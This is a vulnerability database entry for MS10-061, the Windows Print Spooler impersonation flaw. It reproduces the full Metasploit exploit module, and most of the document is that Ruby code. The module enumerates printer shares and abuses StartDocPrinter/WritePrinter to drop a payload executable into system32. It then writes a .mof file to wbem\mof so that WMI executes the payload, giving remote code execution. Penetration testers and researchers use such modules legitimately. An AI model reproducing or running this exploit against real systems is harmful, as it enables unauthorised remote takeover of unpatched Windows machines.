MS10-061 Microsoft Print Spooler Service Impersonation Vulnerability

2010-09-18T17:56:22
ID MSF:EXPLOIT/WINDOWS/SMB/MS10_061_SPOOLSS
Type metasploit
Reporter Rapid7
Modified 2020-06-09T12:18:52

Description

This module exploits the RPC service impersonation vulnerability detailed in Microsoft Bulletin MS10-061. By making a specific DCE RPC request to the StartDocPrinter procedure, an attacker can impersonate the Printer Spooler service to create a file. The working directory at the time is %SystemRoot%\system32. An attacker can specify any file name, including directory traversal or full paths. By sending WritePrinter requests, an attacker can fully control the content of the created file. In order to gain code execution, this module writes to a directory used by Windows Management Instrumentation (WMI) to deploy applications. This directory (Wbem\Mof) is periodically scanned and any new .mof files are processed automatically. This is the same technique employed by the Stuxnet code found in the wild.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/windows_error'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS10-061 Microsoft Print Spooler Service Impersonation Vulnerability',
      'Description'    => %q{
          This module exploits the RPC service impersonation vulnerability detailed in
        Microsoft Bulletin MS10-061. By making a specific DCE RPC request to the
        StartDocPrinter procedure, an attacker can impersonate the Printer Spooler service
        to create a file. The working directory at the time is %SystemRoot%\\system32.
        An attacker can specify any file name, including directory traversal or full paths.
        By sending WritePrinter requests, an attacker can fully control the content of
        the created file.

        In order to gain code execution, this module writes to a directory used by Windows
        Management Instrumentation (WMI) to deploy applications. This directory (Wbem\\Mof)
        is periodically scanned and any new .mof files are processed automatically. This is
        the same technique employed by the Stuxnet code found in the wild.
      },
      'Author'         =>
        [
          'jduck',  # re-discovery, printer RPC stubs, module
          'hdm'     # ATSVC RPC proxy method, etc ;)
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => 'win',
      'References'     =>
        [
          [ 'OSVDB', '67988' ],
          [ 'CVE', '2010-2729' ],
          [ 'MSB', 'MS10-061' ]
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "",
          'DisableNops' => true,
        },
      'Targets'        =>
        [
          [ 'Windows Universal', { } ]
        ],
      'DisclosureDate' => 'Sep 14 2010',
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('SMBPIPE', [ false,  "The named pipe for the spooler service", "spoolss"]),
        OptString.new('PNAME',   [ false,  "The printer share name to use on the target" ]),
      ])

    deregister_options('SMB::ProtocolVersion')
  end


  def exploit

    connect(versions: [1])
    login_time = Time.now
    smb_login()

    print_status("Trying target #{target.name}...")

    handle = dcerpc_handle('12345678-1234-abcd-EF00-0123456789ab', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])

    print_status("Binding to #{handle} ...")
    dcerpc_bind(handle)

    print_status("Bound to #{handle} ...")

    # Try all of the printers :)
    printers = []
    if (pname = datastore['PNAME'])
      printers << pname
    else
      res = self.simple.client.trans(
        "\\PIPE\\LANMAN",
        (
          [0x00].pack('v') +
          "WrLeh\x00"   +
          "B13BWz\x00"  +
          [0x01, 65406].pack("vv")
        )
      )

      printers = []

      lerror, lconv, lentries, lcount = res['Payload'].to_s[
        res['Payload'].v['ParamOffset'],
        res['Payload'].v['ParamCount']
      ].unpack("v4")

      data = res['Payload'].to_s[
        res['Payload'].v['DataOffset'],
        res['Payload'].v['DataCount']
      ]

      0.upto(lentries - 1) do |i|
        sname,tmp = data[(i * 20) +  0, 14].split("\x00")
        stype     = data[(i * 20) + 14, 2].unpack('v')[0]
        scoff     = data[(i * 20) + 16, 2].unpack('v')[0]
        if ( lconv != 0)
          scoff -= lconv
        end
        scomm,tmp = data[scoff, data.length - scoff].split("\x00")

        # we only want printers
        next if stype != 1

        printers << sname
      end
    end

    # Generate a payload EXE to execute
    exe = generate_payload_exe

    printers.each { |pr|

      pname = "\\\\#{rhost}\\#{pr}"

      print_status("Attempting to exploit MS10-061 via #{pname} ...")

      # Open the printer
      status,ph = open_printer_ex(pname)
      if status != 0
        fail_with(Failure::Unknown, "Unable to open printer: #{Msf::WindowsError.description(status)}")
      end
      print_status("Printer handle: %s" % ph.unpack('H*'))


      # NOTE: fname can be anything nice to write to (cwd is system32), even
      # directory traversal and full paths are OK.
      fname = rand_text_alphanumeric(14) + ".exe"
      write_file_contents(ph, fname, exe)

      # Generate a MOF file and write it so that the Windows Management Service will
      # execute our binary ;)
      mofname = rand_text_alphanumeric(14) + ".mof"
      mof = generate_mof(mofname, fname)
      write_file_contents(ph, "wbem\\mof\\#{mofname}", mof)

      # ClosePrinter
      status,ph = close_printer(ph)
      if status != 0
        fail_with(Failure::Unknown, "Failed to close printer: #{Msf::WindowsError.description(status)}")
      end

      break if session_created?
    }

    print_status("Everything should be set, waiting for a session...")
    handler

    cnt = 1
    while session_created? == false and cnt < 25
      ::IO.select(nil, nil, nil, 0.25)
      cnt += 1
    end

    disconnect

  rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, Rex::ConnectionError
    fail_with(Failure::Unknown, $!.message)
  end


  #
  # Use the vuln to write a file :)
  #
  def write_file_contents(ph, fname, data)

    doc = rand_text_alphanumeric(16+rand(16))

    # StartDocPrinter
    status,jobid = start_doc_printer(ph, doc, fname)
    if status != 0 or jobid < 0
      fail_with(Failure::Unknown, "Unable to start print job: #{Msf::WindowsError.description(status)}")
    end
    print_status("Job started: 0x%x" % jobid)

    # WritePrinter
    status,wrote = write_printer(ph, data)
    if status != 0 or wrote != data.length
      fail_with(Failure::Unknown, ('Failed to write %d bytes!' % data.length))
    end
    print_status("Wrote %d bytes to %%SystemRoot%%\\system32\\%s" % [data.length, fname])

    # EndDocPrinter
    status = end_doc_printer(ph)
    if status != 0
      fail_with(Failure::Unknown, "Failed to end print job: #{Msf::WindowsError.description(status)}")
    end
  end


  #
  # Call RpcOpenPrinterEx
  #
  def open_printer_ex(pname, machine = nil, user = nil)
=begin
    DWORD RpcOpenPrinterEx(
      [in, string, unique] STRING_HANDLE pPrinterName,
      [out] PRINTER_HANDLE* pHandle,
      [in, string, unique] wchar_t* pDatatype,
      [in] DEVMODE_CONTAINER* pDevModeContainer,
      [in] DWORD AccessRequired,
      [in] SPLCLIENT_CONTAINER* pClientInfo
    );
=end

    # NOTE: For more information about this encoding, see the following
    # sections of the Open Group's C706 DCE 1.1: RPC
    #
    # 14.3.8 Unions
    # 14.3.10 Pointers
    # 14.3.12.3 Algorithm for Deferral of Referents
    #
    machine ||= ''
    machine = NDR.uwstring(machine)
    user ||= ''
    user = NDR.uwstring(user)

    splclient_info =
      NDR.long(0) +          # DWORD dwSize;
      machine[0,4] +         # [string] wchar_t* pMachineName;
      user[0,4] +            # [string] wchar_t* pUserName;
      NDR.long(7600) +       # DWORD dwBuildNum
      NDR.long(3) +          # DWORD dwMajorVersion;
      NDR.long(0) +          # DWORD dwMinorVersion;
      NDR.long(9)            # unsigned short wProcessorArchitecture;

    # Add the deferred members
    splclient_info << machine[4, machine.length]
    splclient_info << user[4, user.length]

    splclient_info[0,4] = NDR.long(splclient_info.length)

    splclient_info =
      # union!
      NDR.long(1) +        # discriminant (inside copy)
      NDR.long(rand(0xffffffff)) +
      splclient_info

    stubdata =
      NDR.uwstring(pname) +  # pPrinterName
      NDR.long(0) +
      # DEVMODE_CONTAINER (null)
      NDR.long(0) +
      NDR.long(0) +
      # AccessRequired
      NDR.long(0x02020000) +
      # SPLCLIENT_CONTAINER
      NDR.long(1) + # Level (must be 1)
      # SPLCLIENT_INFO_1
      splclient_info

    #print_status('Sending OpenPrinterEx request...')
    response = dcerpc.call(69, stubdata)
    if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
      #print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))

      handle = dcerpc.last_response.stub_data[0,20]
      status = dcerpc.last_response.stub_data[20,4].unpack('V').first

      return [status, handle]
    end

    nil
  end


  #
  # Call RpcStartDocPrinter
  #
  def start_doc_printer(handle, dname, fname, dtype = nil)
=begin
    typedef struct _DOC_INFO_CONTAINER {
      DWORD Level;
      [switch_is(Level)] union {
        [case(1)]
        DOC_INFO_1* pDocInfo1;
      } DocInfo;
    } DOC_INFO_CONTAINER;
    DWORD RpcStartDocPrinter(
      [in] PRINTER_HANDLE hPrinter,
      [in] DOC_INFO_CONTAINER* pDocInfoContainer,
      [out] DWORD* pJobId
    );
=end
    dname = NDR.uwstring(dname)
    if fname
      fname = NDR.uwstring(fname)
    else
      fname = NDR.long(0)
    end
    if dtype
      dtype = NDR.uwstring(dtype)
    else
      dtype = NDR.long(0)
    end

    doc_info =
      dname[0, 4] +
      fname[0, 4] +
      dtype[0, 4]

    # Add the deferred members
    doc_info << dname[4, dname.length]
    doc_info << fname[4, fname.length]
    doc_info << dtype[4, dtype.length]

    doc_info =
      # Union!
      NDR.long(1) +
      NDR.long(rand(0xffffffff)) +
      doc_info

    stubdata =
      handle +
      NDR.long(1) +
      doc_info

    #print_status('Sending StartDocPrinter request...')
    response = dcerpc.call(17, stubdata)
    if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
      #print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
      jobid, status = dcerpc.last_response.stub_data.unpack('VV')
      return [status, jobid]
    end

    nil
  end


  #
  # Call RpcWritePrinter
  #
  def write_printer(handle, data)
=begin
    DWORD RpcWritePrinter(
      [in] PRINTER_HANDLE hPrinter,
      [in, size_is(cbBuf)] BYTE* pBuf,
      [in] DWORD cbBuf,
      [out] DWORD* pcWritten
    );
=end
    stubdata =
      handle +
      NDR.long(data.length) +
      # Perhaps we need a better data type for BYTE* :)
      data +
      NDR.align(data) +
      NDR.long(data.length)

    #print_status('Sending WritePrinter request...')
    response = dcerpc.call(19, stubdata)
    if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
      #print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
      wrote,status = dcerpc.last_response.stub_data.unpack('VV')
      return [status, wrote]
    end

    nil
  end


  #
  # Call RpcEndDocPrinter
  #
  def end_doc_printer(handle)
=begin
    DWORD RpcEndDocPrinter(
      [in] PRINTER_HANDLE* phPrinter
    );
=end

    #print_status('Sending EndDocPrinter request...')
    response = dcerpc.call(23, handle)
    if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
      #print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
      status = dcerpc.last_response.stub_data[0,4].unpack('V').first
      return status
    end

    nil
  end


  #
  # Call RpcClosePrinter
  #
  def close_printer(handle)
=begin
    DWORD RpcClosePrinter(
      [in, out] PRINTER_HANDLE* phPrinter
    );
=end

    #print_status('Sending ClosePrinter request...')
    response = dcerpc.call(29, handle)
    if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
      #print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))
      handle = dcerpc.last_response.stub_data[0,20]
      status = dcerpc.last_response.stub_data[20,4].unpack('V').first
      return [status,handle]
    end

    nil
  end


  def seconds_since_midnight(time)
    # .tv_sec always uses .utc
    (time.tv_sec % 86400)

    # This method uses the localtime
    #(time.hour * 3600) + (time.min * 60) + (time.sec)
  end

  # We have to wait a bit longer since the WMI service is a bit slow..
  def wfs_delay
    10
  end
end